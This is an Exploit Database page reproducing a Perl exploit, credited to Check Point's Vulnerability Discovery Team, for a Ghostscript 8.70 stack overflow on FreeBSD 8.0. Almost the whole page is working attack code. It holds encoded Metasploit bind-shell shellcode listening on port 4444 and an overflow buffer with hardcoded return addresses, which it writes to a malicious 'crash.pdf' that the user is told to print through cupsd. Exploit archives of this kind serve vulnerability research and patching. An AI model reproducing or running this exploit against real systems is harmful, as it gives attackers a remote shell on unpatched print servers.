Ghostscript – ‘.PostScript’ File Stack Overflow

• Exploit Database
• 13 阅读

• 作者： Rodrigo Rubira Branco
  日期： 2010-07-18
• 类别：

  • local
  平台：

  • bsd
• 来源：https://www.exploit-db.com/exploits/14406/

• ##########################################################################
  # Check Point Software Technologies - Vulnerability Discovery Team (VDT) #
  # Rodrigo Rubira Branco - <rbranco *noSPAM* checkpoint.com>		 #
  #									 #
  # GhostScript Stack Overflow 						 #
  #									 #	
  ##########################################################################
  
  # bsd/x86/shell_bind_tcp - 214 bytes
  # http://www.metasploit.com
  # Encoder: x86/alpha_upper
  # AppendExit=false, PrependSetresuid=false, 
  # PrependSetuid=false, LPORT=4444, RHOST=, 
  # PrependSetreuid=false
  my $buf = 
  "\x54\x5a\xda\xd1\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x43" .
  "\x43\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x56\x58" .
  "\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
  "\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
  "\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x50\x31\x49\x50" .
  "\x46\x30\x45\x38\x4b\x4f\x44\x42\x42\x31\x51\x4c\x4d\x59" .
  "\x4b\x57\x50\x50\x43\x5a\x45\x51\x42\x4a\x44\x42\x42\x4a" .
  "\x44\x50\x4e\x50\x45\x31\x48\x4d\x4b\x30\x51\x47\x46\x30" .
  "\x46\x30\x43\x5a\x45\x38\x51\x48\x48\x4d\x4b\x30\x4d\x59" .
  "\x51\x57\x4a\x4c\x48\x30\x43\x5a\x48\x4d\x4d\x50\x4e\x50" .
  "\x45\x4e\x48\x4d\x4d\x50\x50\x50\x50\x50\x43\x5a\x51\x4a" .
  "\x50\x58\x48\x4d\x4d\x50\x4b\x4f\x50\x4f\x4a\x44\x43\x49" .
  "\x4b\x46\x46\x30\x42\x48\x46\x4f\x46\x4f\x44\x33\x42\x48" .
  "\x43\x58\x46\x4f\x43\x52\x45\x39\x42\x4e\x4b\x39\x4b\x53" .
  "\x46\x30\x46\x34\x50\x53\x50\x50\x48\x30\x47\x4b\x48\x4d" .
  "\x4d\x50\x41\x41";
  
  $pkt = "e!PS".
  "A" x 500 . "00001111222233334444555556666777788889999aaa".
  "\x40\xd9\xbf\xbf". #Shellcode Addr
  "bccccddd".
  "\xef\xbe\xbf\xbf".
  "ffff".
  "\xff\xbf" x 100 .
  "C" x (1200 - length($buf)) . $buf . "Z" x 100; 
  
  print STDERR "Check Point Vulnerability Discovery Team (VDT)\n";
  print STDERR "GhostScript 8.70 exploit for FreeBSD 8.0!\n";
  print STDERR "Rodrigo Rubira Branco (BSDaemon)\n";
  
  print STDERR "\nCreating evil pdf ...";
  
  open(F,">crash.pdf");
  
  print F $pkt;
  
  close(F);
  
  print STDERR " d0ne!\n";
  print "Now print it via cupsd!\n";